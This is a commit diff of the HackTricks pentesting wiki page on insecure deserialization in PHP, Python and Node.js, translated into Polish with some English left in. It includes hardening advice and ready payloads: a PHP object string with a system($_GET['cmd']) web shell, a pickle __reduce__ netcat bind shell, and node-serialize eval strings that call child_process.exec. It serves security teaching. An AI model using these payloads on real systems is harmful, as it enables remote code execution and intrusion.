mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/java-signedobject-gated-
This commit is contained in:
parent
84407a88ed
commit
44bddfc1c9
@ -622,6 +622,7 @@
|
|||||||
- [Java JSF ViewState (.faces) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md)
|
- [Java JSF ViewState (.faces) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md)
|
||||||
- [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)
|
- [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)
|
||||||
- [Basic Java Deserialization (ObjectInputStream, readObject)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)
|
- [Basic Java Deserialization (ObjectInputStream, readObject)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)
|
||||||
|
- [Java Signedobject Gated Deserialization](pentesting-web/deserialization/java-signedobject-gated-deserialization.md)
|
||||||
- [PHP - Deserialization + Autoload Classes](pentesting-web/deserialization/php-deserialization-+-autoload-classes.md)
|
- [PHP - Deserialization + Autoload Classes](pentesting-web/deserialization/php-deserialization-+-autoload-classes.md)
|
||||||
- [CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md)
|
- [CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md)
|
||||||
- [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)
|
- [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)
|
||||||
|
@ -1,24 +1,24 @@
|
|||||||
# Deserializacja
|
# Deserialization
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Podstawowe informacje
|
## Podstawowe informacje
|
||||||
|
|
||||||
**Serializacja** jest rozumiana jako metoda konwertowania obiektu na format, który można zachować, z zamiarem przechowywania obiektu lub przesyłania go jako część procesu komunikacji. Technika ta jest powszechnie stosowana, aby zapewnić, że obiekt może być odtworzony w późniejszym czasie, zachowując swoją strukturę i stan.
|
**Serialization** rozumiana jest jako metoda konwertowania obiektu do formatu, który można zachować, w celu jego przechowywania lub przesłania w ramach komunikacji. Technika ta jest często stosowana, aby umożliwić odtworzenie obiektu w późniejszym czasie, zachowując jego strukturę i stan.
|
||||||
|
|
||||||
**Deserializacja**, przeciwnie, jest procesem, który przeciwdziała serializacji. Polega na wzięciu danych, które zostały ustrukturyzowane w określonym formacie i odbudowaniu ich z powrotem w obiekt.
|
**Deserialization**, odwrotnie, to proces przeciwny do Serialization. Polega na pobraniu danych sformatowanych w określony sposób i odtworzeniu z nich obiektu.
|
||||||
|
|
||||||
Deserializacja może być niebezpieczna, ponieważ potencjalnie **pozwala atakującym manipulować zserializowanymi danymi w celu wykonania szkodliwego kodu** lub spowodowania nieoczekiwanego zachowania aplikacji podczas procesu odbudowy obiektu.
|
Deserialization może być niebezpieczny, ponieważ potencjalnie **pozwala atakującym manipulować serialized danymi, aby wykonać złośliwy kod** lub spowodować nieoczekiwane zachowanie aplikacji podczas procesu odtwarzania obiektu.
|
||||||
|
|
||||||
## PHP
|
## PHP
|
||||||
|
|
||||||
W PHP podczas procesów serializacji i deserializacji wykorzystywane są specyficzne metody magiczne:
|
W PHP podczas procesów serialization i deserialization używane są specyficzne magiczne metody:
|
||||||
|
|
||||||
- `__sleep`: Wywoływana, gdy obiekt jest serializowany. Metoda ta powinna zwracać tablicę nazw wszystkich właściwości obiektu, które powinny być serializowane. Jest powszechnie używana do zatwierdzania oczekujących danych lub wykonywania podobnych zadań porządkowych.
|
- `__sleep`: Wywoływana, gdy obiekt jest serialized. Ta metoda powinna zwracać tablicę z nazwami wszystkich właściwości obiektu, które mają zostać serialized. Zwykle używana do zatwierdzania oczekujących danych lub wykonywania podobnych czynności porządkowych.
|
||||||
- `__wakeup`: Wywoływana, gdy obiekt jest deserializowany. Używana jest do przywracania wszelkich połączeń z bazą danych, które mogły zostać utracone podczas serializacji oraz do wykonywania innych zadań ponownej inicjalizacji.
|
- `__wakeup`: Wywoływana, gdy obiekt jest deserialized. Służy do przywrócenia połączeń z bazą danych, które mogły zostać utracone podczas serialization, oraz do innych zadań reinicjalizacyjnych.
|
||||||
- `__unserialize`: Ta metoda jest wywoływana zamiast `__wakeup` (jeśli istnieje) podczas deserializacji obiektu. Daje większą kontrolę nad procesem deserializacji w porównaniu do `__wakeup`.
|
- `__unserialize`: Ta metoda jest wywoływana zamiast `__wakeup` (jeśli istnieje) podczas deserializacji obiektu. Daje większą kontrolę nad procesem deserialization w porównaniu do `__wakeup`.
|
||||||
- `__destruct`: Ta metoda jest wywoływana, gdy obiekt ma zostać zniszczony lub gdy skrypt się kończy. Zwykle jest używana do zadań porządkowych, takich jak zamykanie uchwytów plików lub połączeń z bazą danych.
|
- `__destruct`: Ta metoda jest wywoływana, gdy obiekt ma zostać zniszczony lub gdy skrypt się kończy. Zwykle służy do zadań porządkowych, takich jak zamykanie uchwytów plików lub połączeń z bazą danych.
|
||||||
- `__toString`: Ta metoda pozwala na traktowanie obiektu jako ciągu znaków. Może być używana do odczytu pliku lub innych zadań opartych na wywołaniach funkcji w nim, skutecznie zapewniając tekstową reprezentację obiektu.
|
- `__toString`: Ta metoda pozwala traktować obiekt jako string. Może być użyta do odczytu pliku lub innych zadań zależnych od wywołań funkcji w jej wnętrzu, efektywnie dostarczając tekstową reprezentację obiektu.
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
class test {
|
class test {
|
||||||
@ -74,10 +74,10 @@ This is a test<br />
|
|||||||
*/
|
*/
|
||||||
?>
|
?>
|
||||||
```
|
```
|
||||||
Jeśli spojrzysz na wyniki, zobaczysz, że funkcje **`__wakeup`** i **`__destruct`** są wywoływane, gdy obiekt jest deserializowany. Zauważ, że w kilku samouczkach znajdziesz, że funkcja **`__toString`** jest wywoływana, gdy próbujesz wydrukować jakiś atrybut, ale najwyraźniej **to już się nie dzieje**.
|
If you look to the results you can see that the functions **`__wakeup`** and **`__destruct`** are called when the object is deserialized. Note that in several tutorials you will find that the **`__toString`** function is called when trying yo print some attribute, but apparently that's **not happening anymore**.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Metoda **`__unserialize(array $data)`** jest wywoływana **zamiast `__wakeup()`**, jeśli jest zaimplementowana w klasie. Umożliwia to deserializację obiektu, dostarczając zserializowane dane jako tablicę. Możesz użyć tej metody do deserializacji właściwości i wykonania wszelkich niezbędnych zadań po deserializacji.
|
> Metoda **`__unserialize(array $data)`** jest wywoływana **zamiast `__wakeup()`** jeśli jest zaimplementowana w klasie. Pozwala ona odtworzyć obiekt przez przekazanie zserializowanych danych jako tablicy. Możesz użyć tej metody do odtworzenia właściwości i wykonania wszelkich niezbędnych czynności podczas deserializacji.
|
||||||
>
|
>
|
||||||
> ```php
|
> ```php
|
||||||
> class MyClass {
|
> class MyClass {
|
||||||
@ -85,16 +85,16 @@ Jeśli spojrzysz na wyniki, zobaczysz, że funkcje **`__wakeup`** i **`__destruc
|
|||||||
>
|
>
|
||||||
> public function __unserialize(array $data): void {
|
> public function __unserialize(array $data): void {
|
||||||
> $this->property = $data['property'];
|
> $this->property = $data['property'];
|
||||||
> // Wykonaj wszelkie niezbędne zadania po deserializacji.
|
> // Perform any necessary tasks upon deserialization.
|
||||||
> }
|
> }
|
||||||
> }
|
> }
|
||||||
> ```
|
> ```
|
||||||
|
|
||||||
Możesz przeczytać wyjaśniony **przykład PHP tutaj**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), tutaj [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) lub tutaj [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
You can read an explained **PHP example here**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), here [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) or here [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||||
|
|
||||||
### PHP Deserial + Autoload Classes
|
### PHP Deserial + Autoload Classes
|
||||||
|
|
||||||
Możesz nadużyć funkcjonalności autoload w PHP, aby ładować dowolne pliki php i więcej:
|
Możesz nadużyć funkcjonalności PHP autoload, aby załadować dowolne pliki php i nie tylko:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -103,7 +103,7 @@ php-deserialization-+-autoload-classes.md
|
|||||||
|
|
||||||
### Serializing Referenced Values
|
### Serializing Referenced Values
|
||||||
|
|
||||||
Jeśli z jakiegoś powodu chcesz zserializować wartość jako **referencję do innej wartości zserializowanej**, możesz:
|
Jeśli z jakiegoś powodu chcesz zserializować wartość jako **odwołanie do innej zserializowanej wartości**, możesz:
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
class AClass {
|
class AClass {
|
||||||
@ -116,12 +116,12 @@ $o->param1 =& $o->param22;
|
|||||||
$o->param = "PARAM";
|
$o->param = "PARAM";
|
||||||
$ser=serialize($o);
|
$ser=serialize($o);
|
||||||
```
|
```
|
||||||
### Zapobieganie wstrzyknięciu obiektów PHP za pomocą `allowed_classes`
|
### Zapobieganie PHP Object Injection za pomocą `allowed_classes`
|
||||||
|
|
||||||
> [!INFO]
|
> [!INFO]
|
||||||
> Obsługa **drugiego argumentu** funkcji `unserialize()` (tablica `$options`) została dodana w **PHP 7.0**. W starszych wersjach funkcja akceptuje tylko zserializowany ciąg, co uniemożliwia ograniczenie, które klasy mogą być instancjonowane.
|
> Obsługa **drugiego argumentu** `unserialize()` (tablica `$options`) została dodana w **PHP 7.0**. W starszych wersjach funkcja przyjmuje tylko zserializowany łańcuch, co uniemożliwia ograniczenie, które klasy mogą zostać zainstancjonowane.
|
||||||
|
|
||||||
`unserialize()` **instancjonuje każdą klasę**, którą znajdzie w zserializowanym strumieniu, chyba że powiedziano inaczej. Od PHP 7 zachowanie to można ograniczyć za pomocą opcji [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php):
|
`unserialize()` będzie **tworzyć instancje każdej klasy**, którą znajdzie w zserializowanym strumieniu, chyba że określono inaczej. Od PHP 7 zachowanie można ograniczyć za pomocą opcji [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php):
|
||||||
```php
|
```php
|
||||||
// NEVER DO THIS – full object instantiation
|
// NEVER DO THIS – full object instantiation
|
||||||
$object = unserialize($userControlledData);
|
$object = unserialize($userControlledData);
|
||||||
@ -136,11 +136,11 @@ $object = unserialize($userControlledData, [
|
|||||||
'allowed_classes' => [MyModel::class, DateTime::class]
|
'allowed_classes' => [MyModel::class, DateTime::class]
|
||||||
]);
|
]);
|
||||||
```
|
```
|
||||||
Jeśli **`allowed_classes` jest pominięte _lub_ kod działa na PHP < 7.0**, wywołanie staje się **niebezpieczne**, ponieważ atakujący może stworzyć ładunek, który wykorzystuje metody magiczne, takie jak `__wakeup()` lub `__destruct()`, aby osiągnąć zdalne wykonanie kodu (RCE).
|
Jeśli **`allowed_classes` zostanie pominięte _lub_ kod działa na PHP < 7.0**, wywołanie staje się **niebezpieczne**, ponieważ atakujący może spreparować payload, który nadużywa metod magicznych takich jak `__wakeup()` lub `__destruct()`, aby osiągnąć Remote Code Execution (RCE).
|
||||||
|
|
||||||
#### Przykład z życia wzięty: Everest Forms (WordPress) CVE-2025-52709
|
#### Real-world example: Everest Forms (WordPress) CVE-2025-52709
|
||||||
|
|
||||||
Wtyczka WordPress **Everest Forms ≤ 3.2.2** próbowała być defensywna z pomocą opakowania, ale zapomniała o starszych wersjach PHP:
|
Wtyczka WordPress **Everest Forms ≤ 3.2.2** próbowała zabezpieczyć się za pomocą helper wrappera, ale zapomniała o starszych wersjach PHP:
|
||||||
```php
|
```php
|
||||||
function evf_maybe_unserialize($data, $options = array()) {
|
function evf_maybe_unserialize($data, $options = array()) {
|
||||||
if (is_serialized($data)) {
|
if (is_serialized($data)) {
|
||||||
@ -155,29 +155,30 @@ return @unserialize(trim($data));
|
|||||||
return $data;
|
return $data;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Na serwerach, które nadal działały na **PHP ≤ 7.0**, ta druga gałąź prowadziła do klasycznego **PHP Object Injection**, gdy administrator otworzył złośliwe zgłoszenie formularza. Minimalny ładunek eksploitacyjny mógłby wyglądać następująco:
|
Na serwerach, które nadal działały na **PHP ≤ 7.0**, ta druga gałąź prowadziła do klasycznego **PHP Object Injection**, gdy administrator otworzył złośliwe przesłanie formularza. Minimalny exploit payload mógł wyglądać tak:
|
||||||
```
|
```
|
||||||
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
|
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
|
||||||
```
|
```
|
||||||
Jak tylko administrator wyświetlił wpis, obiekt został zainicjowany, a `SomeClass::__destruct()` został wykonany, co skutkowało wykonaniem dowolnego kodu.
|
Gdy administrator zobaczył wpis, obiekt został zainstancjonowany, a `SomeClass::__destruct()` zostało wykonane, co doprowadziło do wykonania dowolnego kodu.
|
||||||
|
|
||||||
**Wnioski**
|
**Wnioski**
|
||||||
1. Zawsze przekazuj `['allowed_classes' => false]` (lub ścisłą białą listę) podczas wywoływania `unserialize()`.
|
1. Zawsze przekazuj `['allowed_classes' => false]` (lub ścisłą białą listę) przy wywoływaniu `unserialize()`.
|
||||||
2. Audytuj defensywne opakowania – często zapominają o starszych gałęziach PHP.
|
2. Zaudytuj mechanizmy obronne – często zapominają o starych gałęziach PHP.
|
||||||
3. Samo zaktualizowanie do **PHP ≥ 7.x** *nie* jest wystarczające: opcja nadal musi być podana explicite.
|
3. Aktualizacja do **PHP ≥ 7.x** sama w sobie nie wystarczy: opcja nadal musi być podana jawnie.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### PHPGGC (ysoserial dla PHP)
|
### PHPGGC (ysoserial dla PHP)
|
||||||
|
|
||||||
[**PHPGGC**](https://github.com/ambionics/phpggc) może pomóc w generowaniu ładunków do nadużywania deserializacji PHP.\
|
[**PHPGGC**](https://github.com/ambionics/phpggc) może pomóc w generowaniu payloadów do wykorzystania deserializacji PHP.\
|
||||||
Zauważ, że w wielu przypadkach **nie będziesz w stanie znaleźć sposobu na nadużycie deserializacji w kodzie źródłowym** aplikacji, ale możesz być w stanie **nadużyć kodu zewnętrznych rozszerzeń PHP.**\
|
Zwróć uwagę, że w kilku przypadkach **nie będziesz w stanie znaleźć sposobu na wykorzystanie deserializacji w kodzie źródłowym** aplikacji, ale możesz być w stanie **wykorzystać kod zewnętrznych rozszerzeń PHP**.\
|
||||||
Więc, jeśli możesz, sprawdź `phpinfo()` serwera i **przeszukaj internet** (a nawet **gadżety** **PHPGGC**) w poszukiwaniu możliwego gadżetu, który mógłbyś nadużyć.
|
Więc, jeśli możesz, sprawdź `phpinfo()` serwera i **przeszukaj internet** (a nawet na **gadgets** **PHPGGC**) w poszukiwaniu możliwych gadgetów, które mógłbyś wykorzystać.
|
||||||
|
|
||||||
### deserializacja metadanych phar://
|
### phar:// deserializacja metadanych
|
||||||
|
|
||||||
|
Jeśli znalazłeś LFI, które jedynie odczytuje plik i nie wykonuje w nim kodu php, na przykład używając funkcji takich jak _**file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**_**.** Możesz spróbować wykorzystać **deserializację** zachodzącą podczas **odczytu** **pliku** przy użyciu protokołu **phar**.\
|
||||||
|
Po więcej informacji przeczytaj następujący wpis:
|
||||||
|
|
||||||
Jeśli znalazłeś LFI, który tylko odczytuje plik i nie wykonuje kodu php w nim, na przykład używając funkcji takich jak _**file_get_contents(), fopen(), file() lub file_exists(), md5_file(), filemtime() lub filesize()**_**.** Możesz spróbować nadużyć **deserializacji** występującej podczas **odczytu** **pliku** za pomocą protokołu **phar**.\
|
|
||||||
Aby uzyskać więcej informacji, przeczytaj następujący post:
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../file-inclusion/phar-deserialization.md
|
../file-inclusion/phar-deserialization.md
|
||||||
@ -187,8 +188,8 @@ Aby uzyskać więcej informacji, przeczytaj następujący post:
|
|||||||
|
|
||||||
### **Pickle**
|
### **Pickle**
|
||||||
|
|
||||||
Gdy obiekt zostanie odpakowany, funkcja \_\_\_reduce\_\_\_ zostanie wykonana.\
|
Gdy obiekt zostanie zdeserializowany przez Pickle (unpickled), funkcja \_\_\_reduce\_\_\_ zostanie wykonana.\
|
||||||
Po wykorzystaniu, serwer może zwrócić błąd.
|
W przypadku wykorzystania może to spowodować zwrócenie błędu przez serwer.
|
||||||
```python
|
```python
|
||||||
import pickle, os, base64
|
import pickle, os, base64
|
||||||
class P(object):
|
class P(object):
|
||||||
@ -196,9 +197,10 @@ def __reduce__(self):
|
|||||||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||||||
print(base64.b64encode(pickle.dumps(P())))
|
print(base64.b64encode(pickle.dumps(P())))
|
||||||
```
|
```
|
||||||
Przed sprawdzeniem techniki obejścia, spróbuj użyć `print(base64.b64encode(pickle.dumps(P(),2)))`, aby wygenerować obiekt, który jest zgodny z python2, jeśli używasz python3.
|
Zanim sprawdzisz bypass technique, spróbuj użyć `print(base64.b64encode(pickle.dumps(P(),2)))`, aby wygenerować obiekt kompatybilny z python2 jeśli uruchamiasz python3.
|
||||||
|
|
||||||
|
For more information about escaping from **pickle jails** check:
|
||||||
|
|
||||||
Aby uzyskać więcej informacji na temat ucieczki z **pickle jails**, sprawdź:
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||||
@ -206,13 +208,15 @@ Aby uzyskać więcej informacji na temat ucieczki z **pickle jails**, sprawdź:
|
|||||||
|
|
||||||
### Yaml **&** jsonpickle
|
### Yaml **&** jsonpickle
|
||||||
|
|
||||||
Następująca strona przedstawia technikę **wykorzystania niebezpiecznej deserializacji w bibliotekach pythonowych yaml** i kończy się narzędziem, które można wykorzystać do generowania ładunków deserializacji RCE dla **Pickle, PyYAML, jsonpickle i ruamel.yaml**:
|
Poniższa strona przedstawia technikę **wykorzystania niebezpiecznej deserializacji w bibliotekach yaml Pythona** i kończy opisem narzędzia, które może być użyte do wygenerowania payload deserializacji RCE dla **Pickle, PyYAML, jsonpickle i ruamel.yaml**:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
python-yaml-deserialization.md
|
python-yaml-deserialization.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Zanieczyszczenie klas (Python Prototype Pollution)
|
### Class Pollution (Python Prototype Pollution)
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
|
../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
|
||||||
@ -220,12 +224,12 @@ python-yaml-deserialization.md
|
|||||||
|
|
||||||
## NodeJS
|
## NodeJS
|
||||||
|
|
||||||
### Funkcje magiczne JS
|
### JS Magic Functions
|
||||||
|
|
||||||
JS **nie ma "magicznych" funkcji** jak PHP czy Python, które będą wykonywane tylko w celu utworzenia obiektu. Ale ma kilka **funkcji**, które są **często używane nawet bez bezpośredniego wywoływania ich**, takich jak **`toString`**, **`valueOf`**, **`toJSON`**.\
|
JS nie ma "magicznych" funkcji takich jak PHP czy Python, które będą wykonywane tylko przy tworzeniu obiektu. Ale ma kilka **funkcji**, które są **często używane nawet bez bezpośredniego wywołania** takich jak **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||||
Jeśli wykorzystasz deserializację, możesz **skompromentować te funkcje, aby wykonać inny kod** (potencjalnie wykorzystując zanieczyszczenie prototypu), możesz wykonać dowolny kod, gdy są one wywoływane.
|
Jeśli przy wykorzystywaniu deserializacji uda ci się **przejąć te funkcje, by wykonywały inny kod** (potencjalnie wykorzystując prototype pollutions), możesz wykonać dowolny kod, gdy zostaną wywołane.
|
||||||
|
|
||||||
Inny **"magiczny" sposób na wywołanie funkcji** bez bezpośredniego jej wywoływania to **skompromentowanie obiektu, który jest zwracany przez funkcję asynchroniczną** (obietnica). Ponieważ, jeśli **przekształcisz** ten **obiekt zwracany** w inną **obietnicę** z **właściwością** o nazwie **"then" typu funkcji**, zostanie on **wykonany** tylko dlatego, że jest zwracany przez inną obietnicę. _Śledź_ [_**ten link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _po więcej informacji._
|
Inny **"magiczny" sposób wywołania funkcji** bez jej bezpośredniego wywołania to **przejęcie obiektu zwracanego przez async function** (promise). Ponieważ, jeśli **przekształcisz** ten **obiekt zwrotny** w inną **promise** z **własnością** nazwaną **"then" typu function**, zostanie ona **wykonana** tylko dlatego, że jest zwrócona przez inną promise. _Zobacz_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _po więcej informacji._
|
||||||
```javascript
|
```javascript
|
||||||
// If you can compromise p (returned object) to be a promise
|
// If you can compromise p (returned object) to be a promise
|
||||||
// it will be executed just because it's the return object of an async function:
|
// it will be executed just because it's the return object of an async function:
|
||||||
@ -249,9 +253,9 @@ test_ressolve()
|
|||||||
test_then()
|
test_then()
|
||||||
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
||||||
```
|
```
|
||||||
### `__proto__` i zanieczyszczenie `prototype`
|
### `__proto__` and `prototype` pollution
|
||||||
|
|
||||||
Jeśli chcesz dowiedzieć się więcej o tej technice **zobacz następujący samouczek**:
|
Jeśli chcesz poznać tę technikę, **zapoznaj się z poniższym samouczkiem**:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -260,7 +264,7 @@ nodejs-proto-prototype-pollution/
|
|||||||
|
|
||||||
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
||||||
|
|
||||||
Ta biblioteka pozwala na serializację funkcji. Przykład:
|
Ta biblioteka pozwala serializować funkcje. Przykład:
|
||||||
```javascript
|
```javascript
|
||||||
var y = {
|
var y = {
|
||||||
rce: function () {
|
rce: function () {
|
||||||
@ -273,23 +277,23 @@ var serialize = require("node-serialize")
|
|||||||
var payload_serialized = serialize.serialize(y)
|
var payload_serialized = serialize.serialize(y)
|
||||||
console.log("Serialized: \n" + payload_serialized)
|
console.log("Serialized: \n" + payload_serialized)
|
||||||
```
|
```
|
||||||
Obiekt **serializowany** będzie wyglądał następująco:
|
**zserializowany obiekt** będzie wyglądał następująco:
|
||||||
```bash
|
```bash
|
||||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||||
```
|
```
|
||||||
Możesz zobaczyć w przykładzie, że gdy funkcja jest serializowana, do serializowanego obiektu dodawany jest znacznik `_$$ND_FUNC$$_`.
|
W przykładzie widać, że gdy funkcja zostaje zserializowana, flaga `_$$ND_FUNC$$_` jest dołączana do zserializowanego obiektu.
|
||||||
|
|
||||||
W pliku `node-serialize/lib/serialize.js` możesz znaleźć ten sam znacznik i sposób, w jaki kod go używa.
|
Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it.
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Jak możesz zobaczyć w ostatnim kawałku kodu, **jeśli znacznik zostanie znaleziony**, używana jest funkcja `eval` do deserializacji funkcji, więc zasadniczo **dane wejściowe użytkownika są używane wewnątrz funkcji `eval`**.
|
Jak widać w ostatnim fragmencie kodu, **jeśli flaga zostanie znaleziona**, `eval` jest używany do deserializacji funkcji, więc zasadniczo **user input** jest używany wewnątrz funkcji `eval`.
|
||||||
|
|
||||||
Jednak **samego serializowania** funkcji **nie wykona**, ponieważ konieczne byłoby, aby jakaś część kodu **wywoływała `y.rce`** w naszym przykładzie, co jest bardzo **mało prawdopodobne**.\
|
Jednak **same zserializowanie** funkcji **nie spowoduje jej wykonania**, ponieważ konieczne byłoby, aby jakaś część kodu **wywoływała `y.rce`** w naszym przykładzie, a to jest wysoce **mało prawdopodobne**.\
|
||||||
Tak czy inaczej, możesz po prostu **zmodyfikować serializowany obiekt**, **dodając nawiasy**, aby automatycznie wykonać serializowaną funkcję, gdy obiekt zostanie deserializowany.\
|
Tak czy inaczej, możesz po prostu **zmodyfikować zserializowany obiekt**, **dodając nawiasy**, aby automatycznie wykonać zserializowaną funkcję podczas deserializacji obiektu.\
|
||||||
W następnym kawałku kodu **zauważ ostatni nawias** i jak funkcja `unserialize` automatycznie wykona kod:
|
W następnym fragmencie kodu **zwróć uwagę na ostatni nawias** i jak funkcja `unserialize` automatycznie wykona kod:
|
||||||
```javascript
|
```javascript
|
||||||
var serialize = require("node-serialize")
|
var serialize = require("node-serialize")
|
||||||
var test = {
|
var test = {
|
||||||
@ -297,20 +301,20 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
|||||||
}
|
}
|
||||||
serialize.unserialize(test)
|
serialize.unserialize(test)
|
||||||
```
|
```
|
||||||
Jak wcześniej wskazano, ta biblioteka pobierze kod po `_$$ND_FUNC$$_` i **wykona go** za pomocą `eval`. Dlatego, aby **automatycznie wykonać kod**, możesz **usunąć część tworzenia funkcji** oraz ostatni nawias i **po prostu wykonać jedną linię JS** jak w poniższym przykładzie:
|
Jak wcześniej wskazano, ta biblioteka pobierze kod po `_$$ND_FUNC$$_` i **wykona go** za pomocą `eval`. Dlatego, aby **automatycznie wykonać kod**, możesz **usunąć część tworzącą funkcję** i ostatni nawias oraz **po prostu wykonać JS oneliner**, jak w poniższym przykładzie:
|
||||||
```javascript
|
```javascript
|
||||||
var serialize = require("node-serialize")
|
var serialize = require("node-serialize")
|
||||||
var test =
|
var test =
|
||||||
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
|
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
|
||||||
serialize.unserialize(test)
|
serialize.unserialize(test)
|
||||||
```
|
```
|
||||||
Możesz [**znaleźć tutaj**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **dalsze informacje** na temat tego, jak wykorzystać tę lukę.
|
Możesz [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) znaleźć **dalsze informacje** o tym, jak wykorzystać tę podatność.
|
||||||
|
|
||||||
### [funcster](https://www.npmjs.com/package/funcster)
|
### [funcster](https://www.npmjs.com/package/funcster)
|
||||||
|
|
||||||
Ciekawym aspektem **funcster** jest niedostępność **standardowych obiektów wbudowanych**; znajdują się one poza dostępnym zakresem. To ograniczenie uniemożliwia wykonanie kodu, który próbuje wywołać metody na obiektach wbudowanych, prowadząc do wyjątków takich jak `"ReferenceError: console is not defined"` przy użyciu poleceń takich jak `console.log()` lub `require(something)`.
|
Istotnym aspektem **funcster** jest brak dostępu do **standardowych wbudowanych obiektów**; znajdują się one poza dostępnym zakresem. To ograniczenie uniemożliwia wykonanie kodu, który próbuje wywołać metody na obiektach wbudowanych, co prowadzi do wyjątków takich jak "ReferenceError: console is not defined" przy użyciu poleceń takich jak `console.log()` lub `require(something)`.
|
||||||
|
|
||||||
Pomimo tego ograniczenia, przywrócenie pełnego dostępu do kontekstu globalnego, w tym wszystkich standardowych obiektów wbudowanych, jest możliwe dzięki specyficznemu podejściu. Wykorzystując kontekst globalny bezpośrednio, można obejść to ograniczenie. Na przykład, dostęp można przywrócić za pomocą następującego fragmentu:
|
Mimo tego ograniczenia możliwe jest przywrócenie pełnego dostępu do kontekstu globalnego, łącznie ze wszystkimi standardowymi wbudowanymi obiektami, poprzez określone podejście. Wykorzystując kontekst globalny bezpośrednio, można obejść to ograniczenie. Na przykład dostęp można ponownie ustawić przy pomocy następującego fragmentu:
|
||||||
```javascript
|
```javascript
|
||||||
funcster = require("funcster")
|
funcster = require("funcster")
|
||||||
//Serialization
|
//Serialization
|
||||||
@ -332,17 +336,17 @@ __js_function:
|
|||||||
}
|
}
|
||||||
funcster.deepDeserialize(desertest3)
|
